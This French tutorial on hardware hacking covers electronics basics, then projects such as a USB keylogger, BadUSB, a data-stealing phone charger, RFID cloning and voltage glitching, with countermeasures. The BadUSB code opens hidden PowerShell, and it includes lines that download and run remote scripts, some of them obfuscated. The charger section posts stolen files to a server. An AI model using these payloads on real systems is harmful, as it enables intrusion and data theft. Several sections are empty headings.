⚠️ LABORATOIRE ISOLÉ OBLIGATOIRE – Utilisation uniquement sur des systèmes que vous possédez ou avec autorisation explicite. Articles 323-1 et suivants du Code pénal français. Formation éthique pour cyberdéfenseurs. Ne pas reproduire sur des systèmes réels.

Petit guide du hacking par l'électronique (2026)

Des bases de l'électronique aux projets hardware avancés : keylogger USB, sniffeur RF, sonde d'exfiltration, ouverture de serrure, micro espion, analyseur logique DIY.
Théorie, pratique et contre‑mesures pour cyberdéfenseurs.

🔌 Partie 0 – Fondamentaux de l'électronique pour le hack

0.1 Grandeurs électriques fondamentales

GrandeurSymboleUnitéDescription simpleAnalogie hydraulique
TensionVVolt (V)Force qui pousse les électronsPression de l'eau
CourantIAmpère (A)Flux d'électronsDébit d'eau
RésistanceROhm (Ω)Opposition au passage du courantRétrécissement du tuyau
PuissancePWatt (W)Énergie consomméePuissance hydraulique

Loi d'Ohm : V = R × I    P = V × I    P = R × I²    P = V² / R

0.2 Unités et préfixes

PréfixeSymboleMultiplicationExemple concret
picop10⁻¹²10 pF (condensateur RF)
nanon10⁻⁹100 nF (découplage)
microµ10⁻⁶10 µF (filtrage)
millim10⁻³20 mA (courant LED)
kilok10³10 kΩ (pull-up)
megaM10⁶1 MΩ (entrée ampli-op)
gigaG10⁹2.4 GHz (fréquence WiFi)

0.3 Composants de base

ComposantSymboleFonctionExemple d'utilisation en hack
Résistance───/\/\/\───Limiter le courant, divider la tensionAdapter signaux entre µC (3,3V) et périphérique (5V)
Condensateur───||───Stocker de l'énergie, filtrerDécouplage sur ESP32 pour stabilité
Inductance───0000───Stocker de l'énergie magnétiqueFiltre dans alimentation à découpage pour dispositif longue durée
Diode───►|───Laisser passer le courant dans un sensProtection de relais commandé par µC (ouverture serrure)
LED───►|⊙───Émettre de la lumièreIndicateur (ou infrarouge discret)
Transistor (BJT)C/B/E avec flècheAmplification, commutationPiloter un électroaimant pour ouvrir une porte
MOSFETG───||───D/SCommutation rapide, faible résistanceContrôle de moteur ou de charge puissante
RégulateurICStabiliser une tensionAlimentation 3,3V/5V à partir d'une batterie 18650 pour dispositif autonome

0.4 Résistances – code couleur et diviseur de tension

CouleurValeurMultiplicateurTolérance
Noir01 Ω-
Marron110 Ω±1%
Rouge2100 Ω±2%
Orange31 kΩ±3%
Jaune410 kΩ±4%
Vert5100 kΩ±0.5%
Bleu61 MΩ±0.25%
Violet710 MΩ±0.1%
Gris8-±0.05%
Blanc9--

Exemple : Rouge – Rouge – Marron = 22 × 10 = 220 Ω

Diviseur de tension : Vout = Vin × R2 / (R1 + R2). Utile pour abaisser une tension à mesurer.

0.5 Condensateurs – types et ordres de grandeur

TypeAvantagesInconvénientsUsage en hack
Céramiquerapide, stable, faible coûtfaible capacité maxDécouplage près des CI (100 nF)
Électrolytiqueforte capacité, faible coûtpolarisé, ESR élevéFiltrage alimentation (10-1000 µF)
Tantalestable, faible fuitecher, peut exploser si surtensionCircuits sensibles (RTC, audio)
Filmprécis, faible ESRencombrantAudio, filtres actifs

Valeurs typiques : 100 nF (découplage), 10 µF (filtrage local), 100 µF (alimentation), 1000 µF (gros filtrage).

0.6 Diodes et transistors – détails

TypeCaractéristiquesApplications
Diode de redressement (1N4007)1A, 1000VAlimentation, protection
Diode Schottky (1N5819)faible chute (0.3V), rapideConvertisseurs, récupération d'énergie
Diode Zener (5.1V)tension de claquage fixeRégulation simple, protection
LEDcouleur, IR, UVIndicateur, éclairage, télécommande
Transistor NPN (2N2222)courant 800mA, gain ~100Commutation faible puissance
Transistor PNP (2N2907)complémentaire NPNCommutation côté haut
MOSFET N (IRFZ44N)Rds(on) ~17mΩ, 55V, 49ACommutation forte puissance
MOSFET P (IRF9540)similaire mais canal PCommutation côté haut

0.7 Circuits imprimés (PCB) – règles avancées

0.8 Symboles électroniques normalisés (IEC 60617) – détaillés

ComposantSymbole ASCIIDescriptionVariantes
Résistance───/\/\/\───Ligne zigzag (3-4 segments)Résistance variable avec flèche
Condensateur───||───Deux lignes parallèlesPolarisé : ───|+||───
Inductance───0000───Boucles ou arcsBobine à noyau : ───⌒⌒⌒───
Diode───►|───Triangle + barreZener : ───►|◄───, Schottky : ───►|S───
LED───►|⊙───Diode + flèches de lumièreInfrarouge : même symbole
Transistor NPNC / B / E avec flèche sortanteFlèche sur émetteur vers l'extérieurPNP : flèche vers l'intérieur
MOSFET NG───||───D / SLigne verticale, flèche sur substratMOSFET P : flèche inversée
Alimentation pile───||+───Ligne longue = +, courte = -Batterie multiple : superposition
Masse───┴───Trois traitsMasse signal : ───⊥───
Quartz───□───Rectangle ou YRésonateur céramique : ───⌒───
Ampli-opTriangle avec + et -Entrées inverseuse/non-inverseuseAvec alimentations

0.9 Composants avancés – Rôle et exemples de hack (tableau enrichi)

ComposantRôle principalCaractéristiques clésExemple d'utilisation en hack 2026
Ampli-op (LM358)Amplifier, filtrer, comparerGain élevé, faible bruit, 2 op-amps par boîtierAmpli audio pour micro espion, comparateur pour détecter seuil de batterie
Régulateur linéaire (7805, LM317)Stabiliser tensionDropout ~2V (pour 7805), courant max 1AAlim 5V pour dispositif à partir de batterie 9V ou 12V
Convertisseur DC-DC (LM2596, MT3608)Élever/abaisser tension avec rendementRendement >80%, fréquence de découpageAlimentation autonome pour SDR ou µC, boost 3.7V → 5V
Quartz (32,768 kHz, 16 MHz)Horloge préciseStabilité ±10 ppm, charge capacitiveRTC pour datalogger, horloge pour microcontrôleur
Capteur à effet Hall (A3144)Détecter champ magnétiqueSortie numérique, tout ou rienDétecteur d'ouverture de porte, compteur de rotations
Phototransistor / photodiodeConvertir lumière en courantRéponse rapide, sensibilité IRRécepteur IR pour télécommande, barrière lumineuse
Optocoupleur (4N35, PC817)Isoler galvaniquementTension d'isolement 5kV, CTR (gain de transfert)Commande de relais 230V depuis µC, séparation de masses
Thermistance (NTC)Mesurer températureRésistance diminue avec T°Sonde pour détection de chaleur (personnes, machines)
MOSFET puissance (IRLZ44N)Commuter charges puissantesRDS(on) très faible, compatible logique 5VPiloter moteur ou électroaimant, variateur LED
Pont en H (L298N, TB6612)Commander sens/vitesse moteurCourant max 2-3A, protection thermiqueRobot mobile, ouverture motorisée de porte
Convertisseur ADC (MCP3008, ADS1115)Numériser signal analogiqueRésolution 10-16 bits, interface SPI/I2CLire capteur analogique, mesurer tension batterie avec précision
Afficheur LCD/OLED (SSD1306)Afficher texte/graphiquesI2C/SPI, 128x64 pixels, faible consommationInterface pour dispositif portable (sniffer, keylogger)
Module Bluetooth/WiFi (HC-05, ESP8266, ESP32)Communication sans filPortée, protocoles (UART, AT commands)Exfiltration de données, C2, beacon
Capteur ultrason (HC-SR04)Mesurer distancePortée 2-400 cm, angle 15°Détection d'obstacles, niveau d'eau, intrusion
Capteur de courant (ACS712)Mesurer courant sans coupureSensibilité 185 mV/A, isolationSurveillance consommation, détection activité d'un appareil
Mémoire EEPROM/Flash (24LC256, W25Q128)Stockage non-volatilCapacité 256kbit à 128Mbit, I2C/SPISauvegarde de logs, configuration, exfiltration temporaire
RTC (DS3231)Garder l'heure avec pilePrécision ±2 ppm, alarme intégréeDatalogger horodaté, réveil programmé
Amplificateur audio (LM386, PAM8403)Amplifier signal audioPuissance 0.5-10W, gain réglableMini ampli pour écoute, interphone espion

0.10 Calculs pratiques pour le hack

0.11 Guide PCB niveau ingénieur (EMI, retour de masse, impédance) – approfondi

0.12 Protocoles de communication – bases pour le reverse

ProtocoleVitesse typiqueUsage courantAttaques possibles
UART9600 – 1 MbaudDebug, console, GPSSniff, injection, dump firmware
I2C100 kHz – 3.4 MHzCapteurs, EEPROM, RTCSniff, écrasement configuration
SPI1 – 50 MHzFlash, écrans, SDExtraction firmware, injection
JTAG10 – 100 MHzDebug CPU, programmationDump mémoire, contournement protections
SWD10 – 50 MHzDebug ARMLecture/écriture registres, halt
1-Wire15.4 kbpsCapteurs, iButtonClonage, sniff

Exemple pratique : Repérer des points de test sur un PCB, connecter un analyseur logique, et décoder les trames pour trouver UART debug.

🛠️ Partie 1 – Outils et techniques de base

1.1 Multimètre

Indispensable pour mesurer tensions, courants, résistances, continuité. Savoir l'utiliser pour diagnostiquer un circuit. Choisir un modèle avec capacité, fréquence et diode test.

1.2 Oscilloscope

Permet de visualiser des signaux, mesurer des fréquences, analyser des communications série. Un oscilloscope USB bas coût (ex. Hantek 6022BE) suffit pour débuter. Band passante minimale 20 MHz.

1.3 Analyseur logique

Pour décoder les protocoles numériques (UART, I2C, SPI, 1-Wire). Des clones de Saleae à 10€ (24MHz 8 canaux) fonctionnent avec Sigrok/PulseView.

1.4 Fer à souder et techniques de soudure

1.5 Alimentation de laboratoire

Une alimentation variable (0-30V, 0-5A) est idéale. Sinon, on peut utiliser des batteries + régulateurs. Important : protection contre les courts-circuits.

1.6 Générateur de signaux

Utile pour tester des filtres, amplifier des signaux. Des modèles DDS pas chers (AD9850) peuvent être interfacés avec Arduino.

⚡ Partie 2 – Projets hardware : de la conception à la réalisation

2.1 Tableau récapitulatif des projets

ProjetComposants clésDifficultéObjectif
Keylogger USB matérielRPi Pico/Pro Micro, câble USB, µSDMoyenEnregistrer les frappes à l'insu de l'OS
Sniffeur RF (réception satellite)RTL-SDR, RPi Zero, antenneMoyenIntercepter des signaux radio (météo, IoT)
Sonde USB exfiltratriceESP32, chargeur factice, µSDAvancéVoler des fichiers depuis un téléphone branché
Ouvre-porte par électroaimantMOSFET, électroaimant 12V, batterie, relaisMoyenDéclencher une ouverture de porte/coffre
Micro espion FMTransistor, résistances, condensateurs, antenneDébutantÉcouter une pièce à distance (émetteur FM)
Détecteur de champ magnétiqueCapteur Hall A3144, LED, buzzerDébutantDétecter un aimant (ouverture de porte)
Analyseur logique DIYCY7C68013A (FX2LP), logiciel SigrokMoyenCapturer et décoder des signaux numériques
BadUSB programmableAttiny85 (Digispark) ou RPi PicoMoyenInjecter des frappes automatiques pour exécuter des commandes
Renifleur de trames RFID 125kHzArduino, résonateur LC, ampli-opAvancéLire et cloner des badges RFID basse fréquence
Détecteur de bugs (contre-mesure)RTL-SDR, balayage de spectreMoyenDétecter des émetteurs clandestins

2.2 Projet détaillé : Keylogger USB matériel

Contexte : Un keylogger matériel se branche entre le clavier et l'ordinateur. Il enregistre toutes les frappes sans laisser de trace logicielle. Indétectable par l'OS, il est redoutable pour du social engineering ou du test d'intrusion physique.

Composants :

Schéma de principe :

[Clavier] --USB-- [Connecteur entrée] -- lignes D+/D- -- [µC] -- lignes D+/D- -- [Connecteur sortie] --USB-- [PC]
Le µC doit agir comme un hub USB ou un périphérique composite : il reçoit les scancodes du clavier, les enregistre, et les retransmet à l'ordinateur.

Câblage :

Fonctionnement : Le µC se comporte comme un hub USB. Il doit implémenter un stack USB complexe. Une alternative plus simple est d'utiliser un Teensy 4.0 avec deux ports USB natifs. Sinon, on peut utiliser un Raspberry Pi Zero (mais plus gros).

Code conceptuel (CircuitPython avec Pico) – simplifié :

# Ce code est une ébauche : pour un vrai keylogger, il faut un stack USB host.
# Nous simulons ici une frappe toutes les 5 secondes.
import board
import digitalio
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode
import storage
import time

kbd = Keyboard(usb_hid.devices)
log_file = "/sd/log.txt"  # si carte SD présente

while True:
    time.sleep(5)
    frappe = "a"
    with open(log_file, "a") as f:
        f.write(frappe + "\n")
    kbd.send(Keycode.A)
    kbd.release_all()

Variante avancée : Utiliser un MAX3421E (contrôleur USB host) avec un Arduino pour intercepter les signaux du clavier réel.

Contre-mesures :

2.3 Projet détaillé : Sniffeur RF pour satellites météo (APT)

Contexte : Les satellites météo NOAA transmettent des images en clair sur 137 MHz. Avec un récepteur SDR à 20€, vous pouvez recevoir ces images et les décoder.

Composants :

Logiciels :

Étapes :

  1. Construire l'antenne : deux brins de fil rigide (cuivre, alu) de 52 cm (ajustez), écartés à 120°.
  2. Connecter le RTL-SDR au Pi.
  3. Vérifier les fréquences des satellites NOAA : 137.1 MHz (NOAA 15), 137.9125 MHz (NOAA 18), 137.62 MHz (NOAA 19).
  4. Lancer la capture lors d'un passage (gpredict vous donne les heures).
  5. Commande : rtl_fm -f 137.1M -M raw -s 48k | sox -t raw -r 48k -e signed -c 1 -b 16 - output.wav
  6. Décoder : wxtoimg output.wav image.png

Difficultés : Orientation de l'antenne, interférences urbaines. Prévoir un préampli si signal faible.

Améliorations : Ajouter un filtre passe-bande 137 MHz pour améliorer le rapport signal/bruit.

Contre-mesures : Les satellites météo ne sont pas chiffrés, donc pas de contre-mesure. Mais pour des communications plus sensibles, le chiffrement s'impose.

2.4 Projet détaillé : Sonde USB exfiltratrice (chargeur piégé)

Contexte : Évolution du juice-jacking : un chargeur public modifié peut voler vos données. Le projet "ChoiceJacking" (USENIX 2025) montre qu'avec un ESP32, on peut contourner la confirmation utilisateur en moins d'une seconde.

Composants :

Principe : L'ESP32 se connecte en USB host. Il monte le stockage MTP du téléphone et copie les fichiers (photos, documents). Pour contourner la confirmation, il utilise la méthode Bluetooth (émule un clavier pour valider).

Code conceptuel (ESP-IDF) :

// Initialisation USB host, montage MTP, copie de fichiers...
#include "esp_wifi.h"
#include "esp_http_client.h"

void send_file(char *filename) {
    esp_http_client_config_t config = { .url = "http://serveur/upload", .method = HTTP_METHOD_POST };
    esp_http_client_handle_t client = esp_http_client_init(&config);
    esp_http_client_open(client, filesize);
    esp_http_client_write(client, file_buffer, filesize);
    esp_http_client_perform(client);
    esp_http_client_cleanup(client);
}

Contre-mesures :

2.5 Projet détaillé : Ouvre-porte par électroaimant

Contexte : Ouvrir une porte électrique (gâche électrique) à distance. Utilisé en pentest physique pour tester les accès.

Composants :

Schéma :

µC (pin) ── résistance 10kΩ ── GND
          └─ Grille MOSFET
Drain MOSFET ── électroaimant (+) ── +12V
Source MOSFET ── GND
Diode en parallèle sur l'électroaimant (cathode vers +12V)

Code Arduino :

const int mosfetPin = 9;
void setup() { pinMode(mosfetPin, OUTPUT); }
void loop() {
    digitalWrite(mosfetPin, HIGH); // active
    delay(5000); // maintient 5 secondes
    digitalWrite(mosfetPin, LOW);
    delay(5000);
}

Améliorations : Ajouter un récepteur 433MHz pour déclencher à distance, ou un capteur d'ouverture (reed switch) pour confirmer.

Contre-mesures : Les portes sécurisées utilisent des électroaimants à "security mode" (nécessitent une impulsion spécifique).

2.6 Projet détaillé : Micro espion FM

Contexte : Un petit émetteur FM qui diffuse les sons ambiants sur une radio. Classique pour débuter en RF.

Composants :

Schéma (oscillateur Colpitts) : Rechercher "FM bug circuit" sur Internet. Le micro module la fréquence de l'oscillateur via sa capacité variable.

Réalisation :

  1. Souder les composants sur un petit PCB ou une plaque d'essai.
  2. Régler la fréquence en écartant ou rapprochant les spires de la bobine.
  3. La portée est de quelques dizaines de mètres.

Difficultés : Stabilité de fréquence, interférences.

Contre-mesures : Détecteurs de bugs (scanners RF).

2.7 Projet détaillé : Détecteur de champ magnétique (effet Hall)

Contexte : Détecter un aimant (ouverture de porte, présence).

Composants :

Schéma :

A3144 :
Vcc ── 5V
GND ── GND
OUT ───┬── LED+ (avec résistance) ── GND
       └── buzzer+ ── GND

En présence d'un champ magnétique (pôle sud), la sortie passe à l'état bas, la LED s'allume.

Utilisation : Coller un aimant sur la porte, le capteur sur le cadre. Quand la porte s'ouvre, l'aimant s'éloigne, la LED s'éteint (ou l'inverse).

Améliorations : Ajouter un microcontrôleur pour compter les ouvertures, envoyer une alerte WiFi.

2.8 Projet détaillé : Analyseur logique DIY (FX2LP)

Contexte : La puce CY7C68013A (FX2LP) des cartes chinoises à 5€ peut être transformée en analyseur logique 24 MHz 8 canaux avec Sigrok.

Composants :

Étapes :

  1. Télécharger le firmware fx2lafw (inclus dans sigrok).
  2. Flasher avec cycfx2prog ou fxload.
  3. Connecter les signaux à analyser (max 3.3V ou 5V tolérant).
  4. Lancer PulseView, configurer les canaux, capturer.

Exemple de commande :

# Flasher (sous Linux)
sudo fxload -t fx2 -I fx2lafw.hex -D /dev/bus/usb/xxx/yyy
# Utiliser sigrok-cli
sigrok-cli --driver fx2lafw --config samplerate=24m --channels 0-7 --time 1s --output-file capture.sr

Utilisation : Décodez UART, I2C, SPI, etc. pour reverse engineering.

2.9 BadUSB programmable (Digispark / Raspberry Pi Pico)

Composants :

Principe : Le microcontrôleur se fait passer pour un clavier USB HID (Human Interface Device). Dès qu'il est branché, il simule des frappes clavier ultra-rapides pour ouvrir un terminal, télécharger un payload ou exécuter des commandes. L'attaque est "fire-and-forget" : aucune interaction utilisateur requise (sauf UAC sur Windows si admin requis).

Variante 1 – Digispark (Attiny85) – Code classique

Utilise la bibliothèque DigiKeyboard.h (installée via Arduino IDE + Digistump AVR Boards).

#include "DigiKeyboard.h"

void setup() {
  // Pas besoin de pinMode, tout est géré par DigiKeyboard
}

void loop() {
  DigiKeyboard.sendKeyStroke(0);          // Touche neutre pour "réveiller" le clavier
  DigiKeyboard.delay(1500);               // Attendre que Windows reconnaisse le périphérique

  // Ouvrir Exécuter (Win + R)
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(400);

  // Ouvrir cmd
  DigiKeyboard.print("cmd");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(800);

  // Exemple : récupérer nom utilisateur + envoyer vers un fichier
  DigiKeyboard.print(F("whoami > C:\\temp\\who.txt"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(300);

  // Variante plus agressive : télécharger et exécuter un payload PowerShell
  // DigiKeyboard.print(F("powershell -nop -w hidden -c \"IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/payload.ps1')\""));
  // DigiKeyboard.sendKeyStroke(KEY_ENTER);

  // Boucle infinie pour ne pas rejouer
  for(;;) {
    DigiKeyboard.delay(1000);
  }
}

Variante 2 – Raspberry Pi Pico (CircuitPython) – Recommandée 2026

Plus simple à développer, pas de compilation Arduino, édition directe du fichier code.py. Utilise adafruit_hid.

import time
import usb_hid
import board
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS

kbd = Keyboard(usb_hid.devices)
layout = KeyboardLayoutUS(kbd)

print("BadUSB Pico démarré - Attente 2s pour reconnaissance USB...")
time.sleep(2.0)

# Win + R
kbd.press(Keycode.WINDOWS, Keycode.R)
kbd.release_all()
time.sleep(0.4)

# Ouvrir PowerShell en mode caché
layout.write("powershell -WindowStyle Hidden -NoProfile")
kbd.send(Keycode.ENTER)
time.sleep(1.0)

# Exemple payload : info système + exfil vers fichier (ou serveur)
payload = """
$who = whoami
$comp = hostname
$ip = (Invoke-RestMethod -Uri http://ipinfo.io/json).ip
\"Utilisateur: $who | Machine: $comp | IP: $ip\" | Out-File -FilePath C:\\temp\\info.txt -Encoding utf8
"""
layout.write(payload)
kbd.send(Keycode.ENTER)
time.sleep(0.5)

# Variante : télécharger et exécuter depuis Internet
# layout.write("IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/evil.ps1')")
# kbd.send(Keycode.ENTER)

print("Payload envoyé !")
while True:
    time.sleep(1)

Variante avancée : Exfiltration Internet + obfuscation

Ajoute un téléchargement de payload distant (attention : très détectable par EDR modernes en 2026 – Defender, CrowdStrike, etc.).

Exemple PowerShell obfuscé (à insérer dans le code ci-dessus) :

$w='Net.WebClient';$d=New-Object $w;$s='http://votre-serveur/p.ps1';IEX($d.DownloadString($s))

Contre-mesures 2026 (très renforcées)

Attention : Même en lab isolé, ce type de payload peut être détecté par les antivirus modernes si connecté à un réseau. Utilisez toujours un environnement 100% offline pour les tests.

Améliorations possibles :

2.10 Projet avancé : Renifleur de trames RFID 125kHz

Composants : Arduino Nano, circuit résonant LC (bobine 1mH, cap 10nF), ampli-op (LM358), détecteur d'enveloppe, comparateur.

Principe : La bobine capte le champ magnétique émis par le lecteur RFID et la réponse du badge. Le signal est amplifié, filtré, puis numérisé par l'ADC de l'Arduino. Le firmware analyse les trames Manchester/EM4100.

Objectif : Cloner un badge RFID 125kHz (non crypté) pour ouverture de porte.

2.11 Défense : comment détecter ces menaces

🔬 Exercices de laboratoire

Exercice 1 : Mesures de base

Utilisez un multimètre pour mesurer la tension d'une pile, la résistance d'une résistance inconnue, vérifier la continuité d'un fil. Mesurez le courant dans un circuit simple (LED + résistance).

Exercice 2 : Réalisation d'un clignotant à LED

Sur une breadboard, réalisez un circuit avec une LED, une résistance, et un NE555 en mode astable pour faire clignoter la LED. Calculez la fréquence (formule : f = 1.44 / ((R1+2R2)C)).

Exercice 3 : Keylogger USB (simulation)

Programmez un Arduino Pro Micro pour qu'il se comporte comme un clavier et tape "Hello World" quand on le branche. (sans enregistrement). Testez sur un ordinateur de laboratoire.

Exercice 4 : Réception d'images météo NOAA

Avec un RTL-SDR et une antenne dipôle, capturez un passage de satellite NOAA et décodez l'image. Utilisez gpredict pour prévoir les passages.

Exercice 5 : Détection de champ magnétique

Câblez le capteur A3144 avec une LED et testez la détection d'un aimant. Ajoutez un buzzer pour faire une alarme.

Exercice 6 : Décodage d'un signal UART avec analyseur logique

Connectez un Arduino qui émet "Hello" en série (9600 bauds) à l'analyseur logique FX2LP, et décodez avec PulseView.

Exercice 7 : Soudure d'un circuit simple sur PCB

Réalisez un petit circuit (clignotant) sur une plaque d'essai, puis soudez-le sur un PCB vierge.

Exercice 8 (nouveau) : Identification des points de test

Sur un vieux routeur ou une caméra IP, ouvrez le boîtier, identifiez le microcontrôleur, cherchez des points de test carrés (souvent UART). Utilisez un multimètre en mode continuité pour trouver la masse, puis un analyseur logique pour repérer les signaux RX/TX.

Rappel : Tous ces exercices doivent être réalisés dans un environnement isolé, sans connexion à Internet réelle, et avec des données de test. N'utilisez jamais vos comptes personnels ni ceux d'autrui.

🚀 Partie 4 – Projets 2026 : Attaques matérielles de pointe

4.1 Tableau récapitulatif des projets 2026

ProjetComposants clésDifficultéCoût 2026 approx.Objectif / Vecteur d'attaque
Voltage Glitching avec Pico GlitcherRP2040, MOSFET, résistance 10Ω, alimentation, cible (ex: LPC1343)Expert25-40 €Bypass de secure boot, extraction de clés, contournement de code read protection (CRP)
RFID Long Range Thief (Tastic style)Lecteur MaxiProx 5375, Arduino Nano, PCB, µSD, batterieAvancé50-80 €Vol de badges 125kHz à distance (>1m) sans contact physique
ChoiceJacking – Chargeur USB-C malveillantESP32-S2/S3, CH224K (PD trigger), µSD, MOSFET, chargeur facticeExpert30-50 €Exfiltration de données par MTP/PTP/ADB avec contournement de la confirmation utilisateur
AirTag / BLE Tracker Detector (ESP32 Marauder)ESP32-S3, GPS NEO-6M, SD card, capteur vibration SW-420, écran OLEDAvancé35-60 €Détection de trackers (AirTag), drones (Remote ID), analyse de randomisation MAC, triangulation
Side-Channel Power Analysis low-costINA219 ou ADS1115 + shunt, oscilloscope USB, cible Arduino/ESP32Expert20-50 €Extraction de clés AES par analyse de consommation (DPA) sur implémentations naïves
Multi-Radio Pocket Hacker (Sub-GHz + BLE)ESP32-S3 + CC1101 + nRF24 + écran TFT, batterieExpert50-80 €Sniffer/replay Sub-GHz, détection/spam BLE, successeur Flipper-like low-cost

4.2 Projet détaillé : Voltage Glitching avec Pico Glitcher (sur cible LPC1343)

Contexte 2026 : Le glitch (injection de fautes) n'est plus réservé aux labos. Des outils open-source comme le Pico Glitcher démocratisent l'attaque, permettant de bypasser des sécurités matérielles sur des microcontrôleurs courants (NXP LPC, STM32, etc.) . Des recherches récentes montrent même son application sur des accélérateurs IA (NPU) pour forcer des erreurs de classification .

Évolution matérielle : La version dominante en 2026 est la v2.1 (level shifters 1.8-5V, SMA trigger, options MOSFET). Une v3 existe avec pulse shaping avancé et multiplexing amélioré, mais reste plus chère et réservée aux experts cherchant une précision nanoseconde.

Composants :

Câblage détaillé (d'après le blog SySS) : Le tableau suivant montre les connexions pour le LPC1343.

Broche LPC1343FonctionCouleur fil (exemple)
3Resetblanc
4Execute ISP command handlerorange
5VSS (masse)gris/noir
8VDD (alimentation)rouge
14Execute ISP command handlerorange
41VSSgris/noir
44VDDrouge
46UART RXbleu
47UART TXviolet

Une résistance de 10Ω est placée entre l'alimentation et VDD de la cible. La sortie du glitch (drain du MOSFET) est connectée après cette résistance, et la source du MOSFET à la masse. Le signal de reset est également relié au trigger du Pico Glitcher.

Logiciel : La bibliothèque findus (Matthias Kesenheimer) est disponible sur PyPI et sa documentation complète sur ReadTheDocs. Version actuelle : 1.13.1 (oct 2024).

Configuration avec findus (Python) :

# Installation
python -m venv glitch-env
source glitch-env/bin/activate
pip install findus

# Script d'attaque sur LPC1343 (adapté de )
from pico_glitcher import PicoGlitcher
import time

class LPC1343Glitcher(PicoGlitcher):
    def classify(self, state):
        if b"Trigger OK" in state:
            return "G"  # Échec, pas de bypass
        elif b"Success" in state:
            return "R"  # SUCCÈS : CRP contourné
        elif b"Timeout" in state:
            return "Y"  # Timeout
        return "C"

glitcher = LPC1343Glitcher(port_target="/dev/ttyUSB0", port_rpico="/dev/ttyACM3")
glitcher.set_voltage(normal=3.3, glitch=0.0)  # Crowbar à 0V
glitcher.set_trigger_rising_edge()
glitcher.set_glitch_length(500)  # 500 ns
glitcher.set_delay_range(start=1000, end=5000, step=10)  # scan de 1µs à 5µs

results = glitcher.scan(num_trials=1000)
glitcher.plot_results(results)  # Visualisation des paramètres gagnants

Analyse des résultats : Les points "R" (rouges) sur le graphique indiquent les couples (délai, longueur de glitch) qui ont permis de contourner la protection. On affine ensuite autour de ces valeurs . Avec un second scan (délai 49800–51600 ns, longueur 100–110 ns), on peut souvent obtenir un succès en quelques secondes et dumper le firmware (vidéo SySS YouTube).

Contre-mesures : Détecteurs de glitch matériels (comparateur rapide), code constant-time, redondance des calculs. Le RP2350 (Pico 2) intègre quatre glitch detectors très sensibles, rendant les attaques crowbar classiques inefficaces (IOActive 2025). Toutefois, elles peuvent être contournées par laser FI ou EMFI double (RP2350 Hacking Challenge 2025).

4.3 Projet détaillé : ChoiceJacking – Chargeur USB-C malveillant

Contexte 2025-2026 : Le juice-jacking revient avec les attaques ChoiceJacking. Présenté à l'USENIX Security 2025 (Seattle, 13-15 août) par Florian Draschbacher et al. (Graz University of Technology), le papier "ChoiCeJaCking: Compromising Mobile Devices through Malicious Chargers like a Decade ago" montre que des chargeurs modifiés peuvent contourner la confirmation utilisateur en moins d'une seconde. CVEs associées : CVE-2024-20900 (Samsung), CVE-2024-43085 (Google/AOSP), patchés fin 2024.

Trois variantes d'attaque :

  1. Méthode Bluetooth : Le chargeur émulé un clavier BT pour confirmer la demande de transfert.
  2. Méthode KeyStroke Flood : Saturation du buffer clavier pour injecter la confirmation.
  3. Méthode AOAP : Exploitation du protocole Android Open Access Protocol.

Composants spécifiques :

Code conceptuel (méthode 1 - Bluetooth) :

// Émulation clavier Bluetooth + USB Host MTP
#include "esp_bt_main.h"
#include "esp_bt_device.h"
#include "USBHID.h"

void choicejack_attack() {
    // 1. Établir connexion Bluetooth comme clavier
    esp_bt_dev_set_device_name("Bluetooth Keyboard");
    // ... appairage automatique si déjà associé
    
    // 2. Connecter en USB Host (MTP)
    usb_host_install(&host_config);
    
    // 3. Attendre que le téléphone affiche la demande de confirmation
    vTaskDelay(pdMS_TO_TICKS(500));
    
    // 4. Envoyer la touche "Entrée" via Bluetooth pour confirmer
    hid_send_key(KEY_ENTER);
    
    // 5. Exfiltrer les fichiers (photos, documents)
    mtp_mount();
    mtp_copy_file("/sdcard/DCIM/*.jpg", "/sd/");
}

Temps d'exfiltration : 133 ms confirmé dans le papier .

Contre-mesures : iOS 18.4 / Android 15 exigent une authentification biométrique pour les transferts de fichiers. Activez le paramètre "Toujours charger uniquement". Utilisez des USB-C data blockers.

4.4 Projet détaillé : AirTag / BLE Tracker Detector (inspiré ESP32 Marauder)

Contexte : En 2026, les trackers Bluetooth (AirTag, SmartTag) posent des problèmes de vie privée. Le firmware ESP32 Marauder ( GitHub ) est la référence pour l'ESP32, avec des modules dédiés : AirTag Sniff (capture payload) et AirTag Monitor (liste, RSSI, temps depuis dernier vu). Compatible avec les écrans CYD (Cheap Yellow Display).

Composants :

Modes de détection (intégrés dans Marauder) :

Exemple de configuration : Flasher Marauder via web installer, choisir le module "AirTag Monitor" dans l'interface.

// Paramètres de scan typiques
#define WIFI_CHAN_TIME 160      // ms par canal
#define BLE_SCAN_DUR 3000       // durée scan BLE (ms)
#define RSSI_THRESHOLD -90      // dBm

Contre-mesure : Les téléphones récents (iOS 18.4+, Android 15+) alertent automatiquement sur les trackers inconnus.

4.5 Projet détaillé : Side-Channel Power Analysis low-cost

Contexte : Les travaux du CEA montrent que le reverse-engineering par canaux auxiliaires devient accessible . On peut extraire des clés AES d'un microcontrôleur en analysant sa consommation.

Composants :

Principe : Mesurer la consommation pendant 1000 chiffrements avec des données différentes. En moyennant et en analysant les variations, on peut déduire les bits de la clé (Differential Power Analysis).

Code d'acquisition simplifié (Arduino + Python) :

// Arduino : exécute AES et envoie trigger sur pin D2
void loop() {
    digitalWrite(2, HIGH);  // début de l'opération
    aes_encrypt(plaintext, key);
    digitalWrite(2, LOW);
    plaintext++; // varie
}
# Python : acquisition synchrone
import numpy as np
import pico_scopes as ps  # bibliothèque pour oscilloscope USB

scope = ps.open()
traces = []
for i in range(1000):
    scope.arm_trigger(2, rising=True)
    trace = scope.capture()
    traces.append(trace)

# Analyse DPA (corrélation avec hypothèse de consommation)
traces = np.array(traces)
# ... corrélation de Pearson pour chaque hypothèse de sous-clé

Contre-mesures : Masquage aléatoire des données, constant-time, bruit actif, désynchronisation des horloges.

4.6 Projet : Multi-Radio Pocket Hacker (Sub-GHz + BLE)

